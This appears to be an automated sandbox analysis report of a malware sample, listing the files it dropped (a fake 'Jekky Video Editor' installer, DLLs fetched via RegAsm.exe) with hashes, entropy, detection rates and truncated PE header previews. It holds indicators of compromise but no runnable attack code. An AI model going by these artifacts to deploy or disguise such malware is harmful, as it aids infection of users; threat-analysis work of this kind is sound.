Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2433024
Entropy (8bit):	6.94694654252064
Encrypted:	false
SSDEEP:	49152:ckT0cr4juZ1zZFpnqW78HW8piH6uG8ijx+:N0cr4QZFpqW78HW8cHJ
MD5:	33CF6AAAFE24470F75EA87BBB8E1A8D3
SHA1:	E18B36D75272E519FBE42AB5A0D9A892354A40AD
SHA-256:	924A88E39111BE68266B1702ED0CBAF7219B6B25EDF72AC5EA9A9367BD14B4BB
SHA-512:	264E67E3904E9AEA90B82C41F9ACDD5CF20B303270FAD7F88E66EC0ECE7FF86452AC393B8997AAD0B988C22D182AB6C2D4FE47B5A8035A3FF17B68A82963997A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 29%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@m.L.................."..........r"......."...@..........................P%......N%.......................................".@.....#.p............................................................................."..............................text...J.".......".................`....rdata...D...."..P....".............@..@.data...XT... #..0... #.............@....rsrc.........#......P#.............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\libeay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1471856
Entropy (8bit):	6.8308189184145665
Encrypted:	false
SSDEEP:	24576:6PQ+KpPa3kPjWWJy+0PX7PM6ZB9In8QmMMWwI6/I+no9R2aFVWKZxPo89/xc3lRc:brWW0jnMVpUBuwemQnGP8RqYr1mpbk3
MD5:	A236287C42F921D109475D47E9DCAC2B
SHA1:	6D7C177A0AC3076383669BCE46608EB4B6B787EC
SHA-256:	63AA600A7C914C2D59280069169CC93E750E42C9A1146E238C9128E073D578FD
SHA-512:	C325B12235AD77937E3799F1406EB6AA3BC5479BFDFF0EA2F2178FE243E63689AC37BB539ADCBB326B0DE6C09B884771AD57F59184A5B69065682855382ADD8A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A.W.A.W.A.W.%.V.A.W.%.VeA.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.%.V.A.W.A.WUA.W.A.W.A.W2%.V.C.W2%.V.A.W2%.W.A.W2%.V.A.WRich.A.W................PE..L.....r^...........!.....v...............................................................@..........................r......H*..x.......X............B..p3..........@e..............................`e..@............................................text....u.......v.................. ..`.rdata..............z..............@..@.data........@...j... ..............@....rsrc...X...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\libssl-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	719720
Entropy (8bit):	6.620042925263483
Encrypted:	false
SSDEEP:	12288:ST+z0ucMr64M+yiwUqfWY/EThHzgOXfpwN9Cu66vLHL1e13XYFU8HtUDsMBPxtFe:FPAeKLL1e6kpqsookesEiU1xJycD4R1z
MD5:	20B6B06BBD211A8ACFE51193653E4167
SHA1:	817D442B46DD6F35FD9641E0C7262C934ED76848
SHA-256:	7A16E6ED0C0A49AEB8EA4972600A7A1422C92550602A150634B1C221F79300B4
SHA-512:	0F0C31D46E7274F28F62AFBBB4A172CB088AF40F6C71A56297B08D83D16548C0A4FDA4CF5F4A29C1445EEDF15FE81FC405E2EB8680F92C744406D031A05A72C8
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+X?\|o9Q/o9Q/o9Q/{RR.e9Q/{RT..9Q/{RU.}9Q/{RP.m9Q/=QT.r9Q/=QU.`9Q/=QR.z9Q/.PP.l9Q/o9P/j;Q/.PU.C9Q/.PQ.n9Q/.P./n9Q/.PS.n9Q/Richo9Q/................PE..L...3..c...........!.....d...~......Z........................................ .......9....@.............................4@...)..<.......................h).......S..@...T...............................@............................................text...Lb.......d.................. ..`.rdata...............h..............@..@.data...`I...`...6...D..............@....rsrc................z..............@..@.reloc...S.......T...~..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\msvcp71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	499712
Entropy (8bit):	6.414789978441117
Encrypted:	false
SSDEEP:	12288:fJzxYPVsBnxO/R7krZhUgiW6QR7t5k3Ooc8iHkC2eq:fZxvBnxOJ7ki3Ooc8iHkC2e
MD5:	561FA2ABB31DFA8FAB762145F81667C2
SHA1:	C8CCB04EEDAC821A13FAE314A2435192860C72B8
SHA-256:	DF96156F6A548FD6FE5672918DE5AE4509D3C810A57BFFD2A91DE45A3ED5B23B
SHA-512:	7D960AA8E3CCE22D63A6723D7F00C195DE7DE83B877ECA126E339E2D8CC9859E813E05C5C0A5671A75BB717243E9295FD13E5E17D8C6660EB59F5BAEE63A7C43
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................................................................Rich...................PE..L.....w>...........!.................-............:\|................................~e..............................$...?...d!..<....`.......................p...0..8...8...............................H............................................text............................... ..`.rdata..2*.......0..................@..@.data...h!...0... ...0..............@....rsrc........`.......P..............@..@.reloc...0...p...@...`..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\msvcr71.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	348160
Entropy (8bit):	6.542655141037356
Encrypted:	false
SSDEEP:	6144:OcV9z83OtqxnEYmt3NEnvfF+Tbmbw6An8FMciFMNrb3YgxxpbCAOxO2ElvlE:Ooz83OtIEzW+/m/AyF7bCrO/E
MD5:	86F1895AE8C5E8B17D99ECE768A70732
SHA1:	D5502A1D00787D68F548DDEEBBDE1ECA5E2B38CA
SHA-256:	8094AF5EE310714CAEBCCAEEE7769FFB08048503BA478B879EDFEF5F1A24FEFE
SHA-512:	3B7CE2B67056B6E005472B73447D2226677A8CADAE70428873F7EFA5ED11A3B3DBF6B1A42C5B05B1F2B1D8E06FF50DFC6532F043AF8452ED87687EEFBF1791DA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..S..S..S..Tp..S..S..5S..BX..S..BX...S..BX..Q..BX..S..BX..S..BX..S..Rich.S..........................PE..L.....V>...........!................."............4\|.........................`......................................t....C......(.... .......................0..d+..H...8...........................x...H...............l............................text............................... ..`.rdata..@...........................@..@.data... h.......`..................@....rsrc........ ......................@..@.reloc..d+...0...0... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\ssleay32.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	392048
Entropy (8bit):	6.542831007177094
Encrypted:	false
SSDEEP:	6144:1eIwnft+S34NVSTjMFR+oVbKQfbno1/1oz6i2EDSD4I+XdtQXGMiFcoOjAWcIhbl:1eIwnft+S34NVSTQD+oVbKQfrC/1ct25
MD5:	EE856A00410ECED8CC609936D01F954E
SHA1:	705D378626AEC86FECFDF04C86244006BC3AF431
SHA-256:	B6192300D3C1476EF3C25A368D055AA401035E78F9F6DBE5F93C84D36EF1FA62
SHA-512:	666D731247DAEAE4B57925DFA8CAE845327FD34E0F6B9AAD1BCF471D1800D7E8AF5642A5FB6E0EC58BA3AC7DD98A6D3FE0B473F34C16FFB9985621C98C0463EF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../.v[N.%[N.%[N.%4.$QN.%4.$.N.%4.$IN.%4.$YN.%..$HN.%..$GN.%..$KN.%..$XN.%[N.%.O.%..$iN.%..$ZN.%.e%ZN.%..$ZN.%Rich[N.%........PE..L...D.r^...........!.....8..........^7.......P......................................'.....@..........................6..<)..L_..<.......X...............p3.......3..@,..............................`,..@............P...............................text....7.......8.................. ..`.rdata..l....P.......<..............@..@.data....?...p...6...X..............@....rsrc...X...........................@..@.reloc...3.......4..................@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Jekky Video Editor\unins000.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	InnoSetup Log Jekky Video Editor, version 0x30, 4495 bytes, 549163\user, "C:\Users\user\AppData\Local\Jekky Video Editor"
Category:	dropped
Size (bytes):	4495
Entropy (8bit):	4.628856864893563
Encrypted:	false
SSDEEP:	96:mBgtdW9488ipVgNKgpk9E+eOIhr+DTr4cVSQs0LqWV0SZaeA2O5:HdW948VpVgpAHIh9cVSQ1qR
MD5:	B181F501FC68A0503E269745D01E57CB
SHA1:	5EDD20456164E2B4B2AC94DE94FA77C865B5DC9F
SHA-256:	A526605749AF2CE364F91C270369F38A745F032A939103A9C1FD6D94DB5DB1BB
SHA-512:	49EC76B0FB5681A471634CA85F7582F924154BC54C688405EE4B8019A44689EF40769232A3EB51AA66DB63EAE77EE4D22181357DF2E7B5205CEA640D93706FC3
Malicious:	false
Reputation:	unknown
Preview:	Inno Setup Uninstall Log (b)....................................Jekky Video Editor..............................................................................................................Jekky Video Editor..............................................................................................................0...........%...............................................................................................................do:.....<...p/........W....549163.user3C:\Users\user\AppData\Local\Jekky Video Editor.........../...... .....l......IFPS.............................................................................................................BOOLEAN..............TWIZARDFORM....TWIZARDFORM.........TPASSWORDEDIT....TPASSWORDEDIT...........................................!MAIN....-1..(...dll:kernel32.dll.CreateFileA..............$...dll:kernel32.dll.WriteFile............"...dll:kernel32.dll.CloseHandle........"...dll:kernel32.dll.ExitProcess........%...dll

C:\Users\user\AppData\Local\Jekky Video Editor\unins000.exe (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	718497
Entropy (8bit):	6.514981093055765
Encrypted:	false
SSDEEP:	12288:TTPcYn5c/rPx37/zHBA6a5UeYpChr1CERdSrNdyR6f3o1a+mxyFK:HPcYn5c/rPx37/zHBA6pFpCZ1CEuf3oU
MD5:	D5265AA5E189D3916EA9E3F5D2EF2AA3
SHA1:	1876187B10C8EBF8DB6ADA8F7DEFE2075FBA6351
SHA-256:	F93FF07C8608ACD6ADD52E8CCFDCC0B61BC63F80F84559EFECACC26AE4DD1F22
SHA-512:	62FC02393CADB8C4715FCD444B117DC8AD8D07A1FDB4850BE3F9188368AEF491CEFCDC19229C0104A9FC031BABB352318BA506D2C118C9F70B722C04DB7C27D7
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*..........................................@..............................................@...............................%..................................................................................................................CODE....@........................... ..`DATA................................@...BSS......................................idata...%.......&..................@....tls.....................................rdata..............................@..P.reloc....... ......................@..P.rsrc...............................@..P.....................V..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WxZ3BbtftdHbX6Ud8IQWTcja.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Wzy1vqDHala63jbsaIZzYTRV.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\cxK4jj62SNPYFZVNj3t4MZg_.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\dFpuQ1Q9a79sUJWPwukBnd_d.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	true
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jAdtQht6EyohpXB8jxj0sYtp.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	5.3554278163807965
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAt92n4M9XKbbDLI4MWuPJKAVKharkvoDLI4MWuCv:ML9E4Ke84qXKDE4KhKiKhIE4Ks
MD5:	783B5197F36053BBA046C2EF2515F80E
SHA1:	49CB890E4C6536FD79EF1C7BE83949509B37A824
SHA-256:	9513A3E5E55C5471F606E5E0B06C46CD4E357F46602BBF43F24E1E70572F5F91
SHA-512:	6ACD461D38A8F665E6CF4B585B720ABEB0B3F8556C817E576991DF758D9FFE68479B2E634EB60223C7B7909F34C7A1853F13F0CEE3CB4F7C5951228A91BE24C4
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\oLvXEE2e9pIf4hDzNZ63ennK.exe.log

Download File

Process:	C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\66e86c030044f_UniversityGradually[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1555388
Entropy (8bit):	7.86073109012792
Encrypted:	false
SSDEEP:	24576:19jxqVRrAHl5Sk1asIrE65IFwDYp2aCYMGbhIgPow35HVBfEadT6Oa9iY1xONgWM:19xqV5OT1ahrzeeY8af3dzfEahdigd9G
MD5:	8BC957246166F6B5D99C1B63D34DD663
SHA1:	AA801D804CF0FE6FA0772F412CB5B4B686213159
SHA-256:	C37AE928BBFD115A32DBF0060E1A2D191A06CAB66C7251796F1FB7212FC8C8FF
SHA-512:	B9435A0F6C4FBC48DC1C8712F1B9611E6BB3D52D35718E4ED054D6C3E60216FC5F37D001CB989B29031699BE78602E82DBDB593F9C82BD515E43FA0494DD1A58
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......aKZe%46%46%46,R.6&46,R.6446%56.46>..6+46>..6$46>..6$46Rich%46........PE..L.....GO.................p....B..B...8............@...........................L...........@.................................4........0G.B...........d...X.....?.H....................................................................................text....o.......p.................. ..`.rdata..b.......,...t..............@..@.data....f>.........................@....ndata....... ?..........................rsrc...B....0G.....................@..@.reloc...2....K..4..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\lnfsda[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	360864
Entropy (8bit):	7.985939069058878
Encrypted:	false
SSDEEP:	6144:fb/Klz1yq1ry/FkGD9fc9f59Dt80k33KcP0QMVcQr4MvaXA3twkZ7X7ZEO:fb2+iGDQntTk3a20QM2K4KqAdX7ZEO
MD5:	6F4A0AE013610785AD54438F4AF26F1A
SHA1:	C8FF55002963DDE8457DB2B11F68E67A070DDB21
SHA-256:	CCB16A2E8B58BE824D838D5607ECD4B07123DE87F9FE9E42E64507D77B0F374D
SHA-512:	6F3A30E8EE4FF36CFAAC09BFE1272ED4678783C4628DD82E47DD1EF23D4A8EF1C153A9A4E8951CB38B4C7A833F2BC744DBCC7DAC1E550B2F44FFADC8181D8EE3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."s.f.................(..........nF... ...`....@.. ....................................`..................................F..W....`..............x[..(&...........D............................................... ............... ..H............text...t&... ...(.................. ..`.rsrc........`.....................@..@.reloc...............0..............@..B................PF......H....... 7..............................................................rZ.pLj..5XEY..;...\|..<}......\@..\kDV.2/.i.b.A...9/f..:.Y......M...v.s........>..f..Q~1!..:IS.....k...3.6..u8...M3.::F>..R.`.\...!1R...g..yR.u;.....#Q.C.e.....-.k.;W.l..{.......I.K..S...Z.{...&z.K./..3.$M\gL.S....-].L....u9...k..':......G9.qRbZ@.,...#..oZX...U@%C..^N.i.n..>x;.L...`/2'.a~q..Z....B$...e.h.......Sy.....}}......}W....F..(.\|{.`3..-..p>>M.3..x8...T..NK.j.s."..hK..`....oi.V.,.3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\mozglue[1].dll

Download File

